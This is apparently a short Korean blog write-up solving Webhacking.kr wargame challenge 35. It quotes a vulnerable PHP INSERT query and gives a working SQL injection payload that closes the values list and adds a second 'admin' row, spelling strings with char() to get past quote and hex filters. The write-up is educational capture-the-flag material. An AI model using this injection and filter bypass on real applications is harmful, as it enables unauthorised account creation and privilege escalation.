Webhacking.kr 35-sql injection
이전 8번과 비슷한 문제입니다. 풀이는 거의 동일함으로 사진 생략하겠습니다.
@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
insert 문제인데 values( 1 ),( 2 ),( 3 ) 이런게 계속 가능합니다.
따라서 아까는 주석을 썼지만 확인하시면 아시다시피 #와 - 모두 쓸수 없기 때문에 또한 $_SESSION[id]를 건드릴수 없고 맨 마지막 인자인 $_GET[phone] 만 건드려 줄 수 있기 때문에 저렇게 여러개의 값을 insert 하는 방법밖에는 없습니다..
phone:010),('admin','내 ip', 010
이것을 넣어주면
values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]', phone:010),('admin','내 ip', 010 )")
이렇게 여러개 넣어준 형식이 됩니다. 그럼 공격은 성공하게 되는데요
문제점이 일단 '' 이런걸 써줄수 없다고는 앞에서의 문제에서 말했습니다.(magic quoter g 어쩌구) 따라서 0x124124 이렇게 핵스값으로 문자열을 표현하거나 char(12,123,123,) 이렇게 문자로 치환해 주는 형식을 사용해야 합니다.
하지만 x는 필터링이 되어있기 때문에 후자의 방법을 선택하면 됩니다.
?phone=010),(char(97,100,109,110),char(XX,50,52,46,XX,57,46,50,48,55,46,XX,52,56),010
0 개의 댓글